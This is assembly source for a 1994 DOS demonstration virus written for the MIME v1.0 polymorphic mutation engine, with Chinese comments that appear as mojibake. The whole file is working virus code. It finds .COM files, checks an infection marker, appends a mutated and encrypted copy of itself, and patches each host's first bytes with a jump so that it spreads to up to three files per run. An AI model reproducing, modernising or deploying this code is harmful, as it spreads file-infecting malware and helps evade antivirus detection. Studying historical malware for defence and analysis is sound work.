HPAVC/HPAVC CD-ROM.iso/pc/SOURCE.ZIP/MIME1294.ZIP/DEMOVIR.ASM

Assembly Source File | 1994-12-01 | 5.6 KB | 143 lines

; * The DemoVirus (for MIME v1.0) *
; * has written by ArChung Lai    *
; * in Chung-Li,Taiwan            *

.286
.model  small
.code
        extrn   mime:near
        extrn   emime:near
start:
        jmp     short begin

wrt_dat         db      0aeh,         0e9h
                ;       ^^^^          ^^^^
                ;       scasb(mark)   jmp xxxx

jmp_addr        dw     ?

head_dat        db      4 dup(?)                ; ½Oªs│Q╖P¼V└╔«╫╢}└Y¬║ 4 bytes
find_name       db      '*.com',0               ; Ñu╖P¼V com └╔
dta_buf         db      30h dup(?)              ; dta ╕Ω«╞░╧

begin:
        call    get_adr
get_adr:
        pop     si                      ; ▒o¿∞░╛▓╛╢q
        sub     si, offset get_adr
        mov     di, si
        and     di, 0fff0h              ; ┼▄ª¿ 16 ¬║¡┐╝╞ (½K⌐≤¡½⌐wª∞)
        mov     ax, di
        mov     cl, 4
        shr     ax, cl                  ; ┤½║Γª¿ seg
        mov     cx, cs
        add     ax, cx                  ; ▒o¿∞¡½⌐wª∞½ß¬║ cs ¡╚
        push    ax
        mov     ax, offset retf_to
        push    ax
        mov     cx, offset emime        ; cx=╛π¡╙»f¼r¬°½╫ (Ñ]ºt mime ╝╥▓╒)
        cld
        rep     movsb                   ; ╖h▓╛¿∞ÑH 16 ¼░¡┐╝╞¬║░╛▓╛ª∞º}
        retf                            ; ¡½⌐wª∞ (╕⌡¿∞╣∩╗⌠½ß¬║ª∞º})
retf_to:
        push    cs
        pop     ds                      ; ds=cs
        mov     si, offset head_dat     ; si ½ⁿªV│Q╖P¼V¬║└╔«╫╢}└Y╕Ω«╞
        xor     di, di                  ; di=0
        cmp     byte ptr head_dat, 0    ; ªp¬G¼O╜s─╢½ß▓─ñ@ª╕░⌡ªµ½h head_dat=0
        je      first                   ; ªp¬G¼O╜s─╢½ß▓─ñ@ª╕░⌡ªµ½h╖| jump
        mov     di, 0100h                ; di=100h (com └╔▒q 100h ╢}⌐l░⌡ªµ)
        push    di                      ; save di
        movsw                           ; ½∞┤_¡∞└╔«╫╢}└Y
        movsw                           ; ½∞┤_¡∞└╔«╫╢}└Y
        pop     di                      ; load di
first:
        push    es                      ; push psp-seg
        push    di                      ; di=0 ¬╜▒╡╡▓º⌠   di=100h ░⌡ªµ¡∞└╔«╫
        push    es                      ; ½Oªs psp ░╧¼q¡╚
        mov     ah, 1ah
        mov     dx, offset dta_buf
        int     21h                     ; │] dta ¿∞ dta_buf
        mov     si, 3                    ; ñ@ª╕╖P¼VñT¡╙ com └╔
        mov     ah, 4eh
        mov     cx, 3
        mov     dx, offset find_name
        int     21h                     ; ╖j┤M└╔«╫ (▓─ñ@ª╕)
        jnc     to_infect               ; ªp¬GºΣ¿∞½h jump to_infect (╖P¼V)
        jmp     short find_end          ; º_½h jump find_end
find_loop:
        mov     ah, 4fh
        int     21h
        jc      find_end                ; ªp¬GºΣñú¿∞ com └╔½h jump find_end
to_infect:
        call    infect                  ; ╖P¼V
        dec     si
        jnz     find_loop               ; ¡Y┴┘¿S╖P¼V¿∞ñT¡╙└╔«╫½h jump find_loop
find_end:
        pop     es                      ; ¿·ª^ psp ░╧¼q¡╚
        push    es
        pop     ds                      ; ds=es
        mov     dx, 80h
        mov     ah, 1ah
        int     21h                     ; │]ª^ dta ¿∞ 80h
        retf                            ; ░⌡ªµ¡∞└╔«╫ ⌐╬╡▓º⌠╡{ªí(ªp¬G▓─ñ@ª╕░⌡ªµ)

infect  proc
        mov     dx, offset dta_buf+1eh  ; dx ½ⁿªV dta ññºΣ¿∞¬║ com └╔ªW
        mov     ax, 3d02h
        int     21h                     ; ╢}└╔ (┼¬╝gñΦªí)
        xchg    bx, ax                  ; bx=file handle
        mov     ah, 3fh
        mov     cx, 4
        mov     dx, offset head_dat
        int     21h                     ; ┼¬¿· 4 bytes ¿∞ head_dat
        inc     si                      ; si=si+1
        cmp     byte ptr head_dat, 0aeh
        je      close_file              ; ª╣ com └╔ñw╕g│Q╖P¼V╣L½h jump
                                        ; ª╣«╔ si=si+1 ⌐╥ÑH¡nª│╖P¼Vñ~ si=si-1
        dec     si                      ; si=si-1 (ºΓ si ┤εª^¿╙)
        push    si
        xor     cx, cx
        xor     dx, dx
        mov     ax, 4202h
        int     21h                     ; ▓╛░╩┼¬╝g½ⁿ╝╨¿∞└╔«╫º└
        push    bx                      ; ½Oªs bx (file handle)
        mov     bx, ax                  ; bp=ax=ª╣ com ñº└╔«╫¬°½╫
        add     bx, 100h                ; bx=100 (com └╔╝╥ªí)
        sub     ax, 4                   ; ¡p║Γ jump ░╛▓╛ª∞º}
        mov     jmp_addr, ax
        mov     ax, offset emime+0fh    ; ªhÑ[ñJ 0fh ÑHºK┬╨╗\¿∞»f¼r╡{ªíº└ñ┌
        mov     cl, 4
        shr     ax, cl
        mov     cx, cs
        add     ax, cx
        mov     es, ax                  ; es=ÑH»f¼r╡{ªí½ß¡▒¼░¬┼╢í¬║░╧¼qª∞º}
        mov     cx, offset emime        ; cx=»f¼r¬°½╫ (Ñ]ºt mime ╝╥▓╒)
                                        ; ñ]┤N¼O¡n│Q╜s╜X¬║╡{ªí¬°½╫
        mov     si, offset start
        mov     di, 0
        call    mime                    ; call ┼▄┼Θ╝╥▓╒
        pop     bx                      ; ¿·ª^ file handle
        mov     ah, 40h
        int     21h                     ; ╝gñJ ªhº╬╕╤╜X╡{ªí ⌐M │Q╜s╜X½ß¬║»f¼r
                                        ; ¿∞└╔º└
        push    cs
        pop     ds                      ; ds=cs (ª]¼░ ds ╖|│Qº∩┼▄)
        xor     cx, cx
        xor     dx, dx
        mov     ax, 4200h
        int     21h                     ; ▓╛░╩┼¬╝g½ⁿ╝╨¿∞└╔└Y
        mov     ah, 40h
        mov     cx, 4
        mov     dx, offset wrt_dat
        int     21h                     ; ╝gñJ 4 bytes ¬║ wrt_dat
        pop     si

close_file:
        mov     ah, 3eh
        int     21h                     ; ├÷└╔
        ret                             ; ░╞╡{ªí¬≡ª^
infect  endp

        end     start